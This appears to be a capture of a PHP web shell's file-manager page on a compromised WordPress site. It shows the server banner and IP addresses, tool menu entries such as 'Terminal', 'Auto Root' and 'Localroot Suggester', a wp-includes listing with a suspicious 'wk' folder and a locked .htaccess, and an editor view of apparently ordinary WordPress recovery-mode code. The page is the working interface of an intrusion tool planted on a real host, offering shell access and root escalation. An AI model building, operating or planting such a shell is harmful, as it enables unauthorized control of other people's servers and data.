Linux premium219.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
Server IP : 66.29.141.197 & Your IP : 216.73.216.254
Domains :
Cant Read [ /etc/named.conf ]
User : removmno
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
removmno /
zonacarellc.com /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
blocks
[ DIR ]
drwxr-xr-x
2026-06-11 02:03
html-api
[ DIR ]
drwxr-xr-x
2026-06-11 15:16
interactivity-api
[ DIR ]
drwxr-xr-x
2026-06-10 20:03
js
[ DIR ]
drwxr-xr-x
2026-06-11 02:04
theme-compat
[ DIR ]
drwxr-xr-x
2026-06-11 02:03
wk
[ DIR ]
drwxr-xr-x
2026-06-11 00:48
.htaccess
516
B
-r-xr-xr-x
2026-06-10 08:55
category-template.php
55.65
KB
-rw-r--r--
2026-03-19 17:41
class-walker-category-dropdown.php
2.41
KB
-rw-r--r--
2023-09-14 16:46
class-walker-category.php
8.28
KB
-rw-r--r--
2023-09-08 13:32
class-walker-nav-menu.php
11.76
KB
-rw-r--r--
2025-01-22 02:26
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
2023-09-14 16:46
class-wp-admin-bar.php
17.58
KB
-rw-r--r--
2026-03-13 03:26
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
2022-09-12 19:47
class-wp-application-passwords.php
16.7
KB
-rw-r--r--
2025-04-03 17:53
class-wp-block-bindings-registry.php
8.07
KB
-rw-r--r--
2026-02-14 05:37
class-wp-block-bindings-source.php
2.92
KB
-rw-r--r--
2025-09-29 01:56
class-wp-block-editor-context.php
1.32
KB
-rw-r--r--
2022-09-12 19:47
class-wp-block-list.php
4.6
KB
-rw-r--r--
2025-08-07 18:47
class-wp-block-metadata-registry.php
11.57
KB
-rw-r--r--
2026-01-05 10:24
class-wp-block-parser-block.php
2.5
KB
-rw-r--r--
2025-10-21 11:14
class-wp-block-parser-frame.php
1.95
KB
-rw-r--r--
2026-03-10 15:29
class-wp-block-parser.php
11.25
KB
-rw-r--r--
2026-03-13 03:25
class-wp-block-pattern-categories-registry.php
4.28
KB
-rw-r--r--
2025-12-04 00:47
class-wp-block-patterns-registry.php
10.07
KB
-rw-r--r--
2026-03-11 01:11
class-wp-block-processor.php
68.32
KB
-rw-r--r--
2026-01-22 06:12
class-wp-block-styles-registry.php
6.27
KB
-rw-r--r--
2026-01-11 11:50
class-wp-block-supports.php
6.4
KB
-rw-r--r--
2026-03-19 18:40
class-wp-block-template.php
1.99
KB
-rw-r--r--
2024-09-20 06:07
class-wp-block-templates-registry.php
6.91
KB
-rw-r--r--
2026-01-05 10:24
class-wp-block-type-registry.php
4.91
KB
-rw-r--r--
2025-09-29 20:29
class-wp-block-type.php
16.83
KB
-rw-r--r--
2026-01-05 10:24
class-wp-classic-to-block-menu-converter.php
3.93
KB
-rw-r--r--
2026-01-05 10:24
class-wp-comment-query.php
47.49
KB
-rw-r--r--
2025-12-23 04:14
class-wp-connector-registry.php
14.07
KB
-rw-r--r--
2026-05-08 18:24
class-wp-customize-control.php
25.51
KB
-rw-r--r--
2025-09-07 06:47
class-wp-customize-manager.php
198.13
KB
-rw-r--r--
2026-05-13 11:20
class-wp-customize-nav-menus.php
56.61
KB
-rw-r--r--
2026-01-05 10:41
class-wp-customize-panel.php
10.46
KB
-rw-r--r--
2025-01-23 00:48
class-wp-customize-section.php
10.95
KB
-rw-r--r--
2024-10-13 23:09
class-wp-customize-setting.php
29.26
KB
-rw-r--r--
2026-02-28 04:18
class-wp-customize-widgets.php
70.89
KB
-rw-r--r--
2026-03-12 01:01
class-wp-date-query.php
35.13
KB
-rw-r--r--
2026-02-24 11:33
class-wp-fatal-error-handler.php
7.96
KB
-rw-r--r--
2024-10-22 14:16
class-wp-feed-cache-transient.php
3.23
KB
-rw-r--r--
2025-07-31 03:03
class-wp-feed-cache.php
969
B
-rw-r--r--
2024-10-01 02:50
class-wp-http-cookie.php
7.1
KB
-rw-r--r--
2026-01-05 10:58
class-wp-http-curl.php
12.95
KB
-rw-r--r--
2025-09-03 16:18
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
2023-06-22 18:57
class-wp-http-ixr-client.php
3.43
KB
-rw-r--r--
2026-03-10 16:24
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
2023-06-22 18:36
class-wp-http-requests-hooks.php
1.97
KB
-rw-r--r--
2022-12-16 02:32
class-wp-http-requests-response.php
4.14
KB
-rw-r--r--
2026-01-30 17:52
class-wp-http-response.php
2.91
KB
-rw-r--r--
2022-09-12 19:47
class-wp-http-streams.php
16.37
KB
-rw-r--r--
2026-01-10 10:03
class-wp-icons-registry.php
7.67
KB
-rw-r--r--
2026-03-20 19:41
class-wp-image-editor-gd.php
20.22
KB
-rw-r--r--
2025-09-03 16:18
class-wp-image-editor-imagick.php
36.11
KB
-rw-r--r--
2025-08-27 01:05
class-wp-image-editor.php
17.01
KB
-rw-r--r--
2025-12-17 01:21
class-wp-list-util.php
7.27
KB
-rw-r--r--
2024-02-28 03:38
class-wp-locale-switcher.php
6.62
KB
-rw-r--r--
2025-05-11 21:16
class-wp-meta-query.php
29.79
KB
-rw-r--r--
2026-01-06 11:08
class-wp-metadata-lazyloader.php
6.67
KB
-rw-r--r--
2025-10-21 19:59
class-wp-navigation-fallback.php
8.98
KB
-rw-r--r--
2025-06-19 00:39
class-wp-network-query.php
19.25
KB
-rw-r--r--
2025-12-23 04:14
class-wp-object-cache.php
17.11
KB
-rw-r--r--
2025-04-05 02:00
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
2024-03-06 10:05
class-wp-paused-extensions-storage.php
4.95
KB
-rw-r--r--
2026-01-06 10:36
class-wp-plugin-dependencies.php
24.59
KB
-rw-r--r--
2026-01-11 11:50
class-wp-post-type.php
29.95
KB
-rw-r--r--
2026-01-29 01:55
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-r--r--
2022-10-04 07:59
class-wp-recovery-mode-email-service.php
10.9
KB
-rw-r--r--
2026-01-07 21:48
class-wp-recovery-mode-key-service.php
4.8
KB
-rw-r--r--
2026-03-02 04:04
class-wp-recovery-mode-link-service.php
3.44
KB
-rw-r--r--
2026-03-02 04:04
class-wp-recovery-mode.php
11.18
KB
-rw-r--r--
2025-02-23 16:11
class-wp-script-modules.php
39.65
KB
-rw-r--r--
2026-04-30 08:59
class-wp-session-tokens.php
7.15
KB
-rw-r--r--
2025-02-11 16:14
class-wp-simplepie-file.php
3.47
KB
-rw-r--r--
2025-09-17 02:47
class-wp-simplepie-sanitize-kses.php
1.87
KB
-rw-r--r--
2025-01-23 00:48
class-wp-site-query.php
30.74
KB
-rw-r--r--
2025-12-23 04:14
class-wp-speculation-rules.php
7.38
KB
-rw-r--r--
2025-11-23 10:08
class-wp-tax-query.php
19.12
KB
-rw-r--r--
2025-06-16 21:08
class-wp-term-query.php
39.8
KB
-rw-r--r--
2025-12-23 04:14
class-wp-text-diff-renderer-inline.php
979
B
-rw-r--r--
2024-02-15 00:27
class-wp-text-diff-renderer-table.php
18.49
KB
-rw-r--r--
2026-03-10 15:43
class-wp-textdomain-registry.php
10.24
KB
-rw-r--r--
2024-11-20 07:50
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
2024-06-04 15:55
class-wp-theme-json-resolver.php
34.86
KB
-rw-r--r--
2026-02-13 22:52
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
2024-06-06 12:02
class-wp-theme-json.php
169.57
KB
-rw-r--r--
2026-02-20 07:25
class-wp-token-map.php
27.95
KB
-rw-r--r--
2024-07-20 03:44
class-wp-url-pattern-prefixer.php
4.69
KB
-rw-r--r--
2025-02-19 03:32
class-wp-user-meta-session-tokens.php
2.88
KB
-rw-r--r--
2026-01-11 11:50
class-wp-user-query.php
43.07
KB
-rw-r--r--
2026-01-11 11:50
class-wp-user-request.php
2.25
KB
-rw-r--r--
2025-02-17 16:24
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
2022-09-12 19:47
class-wp-xmlrpc-server.php
209.98
KB
-rw-r--r--
2026-01-10 10:29
default-filters.php
36.54
KB
-rw-r--r--
2026-05-13 07:29
global-styles-and-settings.php
20.29
KB
-rw-r--r--
2026-02-10 20:20
ms-default-filters.php
6.48
KB
-rw-r--r--
2023-02-24 06:23
Save
Rename
<?php /** * Error Protection API: WP_Recovery_Mode class * * @package WordPress * @since 5.2.0 */ /** * Core class used to implement Recovery Mode. * * @since 5.2.0 */ #[AllowDynamicProperties] class WP_Recovery_Mode { const EXIT_ACTION = 'exit_recovery_mode'; /** * Service to handle cookies. * * @since 5.2.0 * @var WP_Recovery_Mode_Cookie_Service */ private $cookie_service; /** * Service to generate a recovery mode key. * * @since 5.2.0 * @var WP_Recovery_Mode_Key_Service */ private $key_service; /** * Service to generate and validate recovery mode links. * * @since 5.2.0 * @var WP_Recovery_Mode_Link_Service */ private $link_service; /** * Service to handle sending an email with a recovery mode link. * * @since 5.2.0 * @var WP_Recovery_Mode_Email_Service */ private $email_service; /** * Is recovery mode initialized. * * @since 5.2.0 * @var bool */ private $is_initialized = false; /** * Is recovery mode active in this session. * * @since 5.2.0 * @var bool */ private $is_active = false; /** * Get an ID representing the current recovery mode session. * * @since 5.2.0 * @var string */ private $session_id = ''; /** * WP_Recovery_Mode constructor. * * @since 5.2.0 */ public function __construct() { $this->cookie_service = new WP_Recovery_Mode_Cookie_Service(); $this->key_service = new WP_Recovery_Mode_Key_Service(); $this->link_service = new WP_Recovery_Mode_Link_Service( $this->cookie_service, $this->key_service ); $this->email_service = new WP_Recovery_Mode_Email_Service( $this->link_service ); } /** * Initialize recovery mode for the current request. * * @since 5.2.0 */ public function initialize() { $this->is_initialized = true; add_action( 'wp_logout', array( $this, 'exit_recovery_mode' ) ); add_action( 'login_form_' . self::EXIT_ACTION, array( $this, 'handle_exit_recovery_mode' ) ); add_action( 'recovery_mode_clean_expired_keys', array( $this, 'clean_expired_keys' ) ); if ( ! wp_next_scheduled( 'recovery_mode_clean_expired_keys' ) && ! wp_installing() ) { wp_schedule_event( time(), 'daily', 'recovery_mode_clean_expired_keys' ); } if ( defined( 'WP_RECOVERY_MODE_SESSION_ID' ) ) { $this->is_active = true; $this->session_id = WP_RECOVERY_MODE_SESSION_ID; return; } if ( $this->cookie_service->is_cookie_set() ) { $this->handle_cookie(); return; } $this->link_service->handle_begin_link( $this->get_link_ttl() ); } /** * Checks whether recovery mode is active. * * This will not change after recovery mode has been initialized. {@see WP_Recovery_Mode::run()}. * * @since 5.2.0 * * @return bool True if recovery mode is active, false otherwise. */ public function is_active() { return $this->is_active; } /** * Gets the recovery mode session ID. * * @since 5.2.0 * * @return string The session ID if recovery mode is active, empty string otherwise. */ public function get_session_id() { return $this->session_id; } /** * Checks whether recovery mode has been initialized. * * Recovery mode should not be used until this point. Initialization happens immediately before loading plugins. * * @since 5.2.0 * * @return bool */ public function is_initialized() { return $this->is_initialized; } /** * Handles a fatal error occurring. * * The calling API should immediately die() after calling this function. * * @since 5.2.0 * * @param array $error Error details from `error_get_last()`. * @return true|WP_Error|void True if the error was handled and headers have already been sent. * Or the request will exit to try and catch multiple errors at once. * WP_Error if an error occurred preventing it from being handled. */ public function handle_error( array $error ) { $extension = $this->get_extension_for_error( $error ); if ( ! $extension || $this->is_network_plugin( $extension ) ) { return new WP_Error( 'invalid_source', __( 'Error not caused by a plugin or theme.' ) ); } if ( ! $this->is_active() ) { if ( ! is_protected_endpoint() ) { return new WP_Error( 'non_protected_endpoint', __( 'Error occurred on a non-protected endpoint.' ) ); } if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } return $this->email_service->maybe_send_recovery_mode_email( $this->get_email_rate_limit(), $error, $extension ); } if ( ! $this->store_error( $error ) ) { return new WP_Error( 'storage_error', __( 'Failed to store the error.' ) ); } if ( headers_sent() ) { return true; } $this->redirect_protected(); } /** * Ends the current recovery mode session. * * @since 5.2.0 * * @return bool True on success, false on failure. */ public function exit_recovery_mode() { if ( ! $this->is_active() ) { return false; } $this->email_service->clear_rate_limit(); $this->cookie_service->clear_cookie(); wp_paused_plugins()->delete_all(); wp_paused_themes()->delete_all(); return true; } /** * Handles a request to exit Recovery Mode. * * @since 5.2.0 */ public function handle_exit_recovery_mode() { $redirect_to = wp_get_referer(); // Safety check in case referrer returns false. if ( ! $redirect_to ) { $redirect_to = is_user_logged_in() ? admin_url() : home_url(); } if ( ! $this->is_active() ) { wp_safe_redirect( $redirect_to ); die; } if ( ! isset( $_GET['action'] ) || self::EXIT_ACTION !== $_GET['action'] ) { return; } if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], self::EXIT_ACTION ) ) { wp_die( __( 'Exit recovery mode link expired.' ), 403 ); } if ( ! $this->exit_recovery_mode() ) { wp_die( __( 'Failed to exit recovery mode. Please try again later.' ) ); } wp_safe_redirect( $redirect_to ); die; } /** * Cleans any recovery mode keys that have expired according to the link TTL. * * Executes on a daily cron schedule. * * @since 5.2.0 */ public function clean_expired_keys() { $this->key_service->clean_expired_keys( $this->get_link_ttl() ); } /** * Handles checking for the recovery mode cookie and validating it. * * @since 5.2.0 */ protected function handle_cookie() { $validated = $this->cookie_service->validate_cookie(); if ( is_wp_error( $validated ) ) { $this->cookie_service->clear_cookie(); $validated->add_data( array( 'status' => 403 ) ); wp_die( $validated ); } $session_id = $this->cookie_service->get_session_id_from_cookie(); if ( is_wp_error( $session_id ) ) { $this->cookie_service->clear_cookie(); $session_id->add_data( array( 'status' => 403 ) ); wp_die( $session_id ); } $this->is_active = true; $this->session_id = $session_id; } /** * Gets the rate limit between sending new recovery mode email links. * * @since 5.2.0 * * @return int Rate limit in seconds. */ protected function get_email_rate_limit() { /** * Filters the rate limit between sending new recovery mode email links. * * @since 5.2.0 * * @param int $rate_limit Time to wait in seconds. Defaults to 1 day. */ return apply_filters( 'recovery_mode_email_rate_limit', DAY_IN_SECONDS ); } /** * Gets the number of seconds the recovery mode link is valid for. * * @since 5.2.0 * * @return int Interval in seconds. */ protected function get_link_ttl() { $rate_limit = $this->get_email_rate_limit(); $valid_for = $rate_limit; /** * Filters the amount of time the recovery mode email link is valid for. * * The ttl must be at least as long as the email rate limit. * * @since 5.2.0 * * @param int $valid_for The number of seconds the link is valid for. */ $valid_for = apply_filters( 'recovery_mode_email_link_ttl', $valid_for ); return max( $valid_for, $rate_limit ); } /** * Gets the extension that the error occurred in. * * @since 5.2.0 * * @global string[] $wp_theme_directories * * @param array $error Error details from `error_get_last()`. * @return array|false { * Extension details. * * @type string $slug The extension slug. This is the plugin or theme's directory. * @type string $type The extension type. Either 'plugin' or 'theme'. * } */ protected function get_extension_for_error( $error ) { global $wp_theme_directories; if ( ! isset( $error['file'] ) ) { return false; } if ( ! defined( 'WP_PLUGIN_DIR' ) ) { return false; } $error_file = wp_normalize_path( $error['file'] ); $wp_plugin_dir = wp_normalize_path( WP_PLUGIN_DIR ); if ( str_starts_with( $error_file, $wp_plugin_dir ) ) { $path = str_replace( $wp_plugin_dir . '/', '', $error_file ); $parts = explode( '/', $path ); return array( 'type' => 'plugin', 'slug' => $parts[0], ); } if ( empty( $wp_theme_directories ) ) { return false; } foreach ( $wp_theme_directories as $theme_directory ) { $theme_directory = wp_normalize_path( $theme_directory ); if ( str_starts_with( $error_file, $theme_directory ) ) { $path = str_replace( $theme_directory . '/', '', $error_file ); $parts = explode( '/', $path ); return array( 'type' => 'theme', 'slug' => $parts[0], ); } } return false; } /** * Checks whether the given extension a network activated plugin. * * @since 5.2.0 * * @param array $extension Extension data. * @return bool True if network plugin, false otherwise. */ protected function is_network_plugin( $extension ) { if ( 'plugin' !== $extension['type'] ) { return false; } if ( ! is_multisite() ) { return false; } $network_plugins = wp_get_active_network_plugins(); foreach ( $network_plugins as $plugin ) { if ( str_starts_with( $plugin, $extension['slug'] . '/' ) ) { return true; } } return false; } /** * Stores the given error so that the extension causing it is paused. * * @since 5.2.0 * * @param array $error Error details from `error_get_last()`. * @return bool True if the error was stored successfully, false otherwise. */ protected function store_error( $error ) { $extension = $this->get_extension_for_error( $error ); if ( ! $extension ) { return false; } switch ( $extension['type'] ) { case 'plugin': return wp_paused_plugins()->set( $extension['slug'], $error ); case 'theme': return wp_paused_themes()->set( $extension['slug'], $error ); default: return false; } } /** * Redirects the current request to allow recovering multiple errors in one go. * * The redirection will only happen when on a protected endpoint. * * It must be ensured that this method is only called when an error actually occurred and will not occur on the * next request again. Otherwise it will create a redirect loop. * * @since 5.2.0 */ protected function redirect_protected() { // Pluggable is usually loaded after plugins, so we manually include it here for redirection functionality. if ( ! function_exists( 'wp_safe_redirect' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $scheme = is_ssl() ? 'https://' : 'http://'; $url = "{$scheme}{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"; wp_safe_redirect( $url ); exit; } }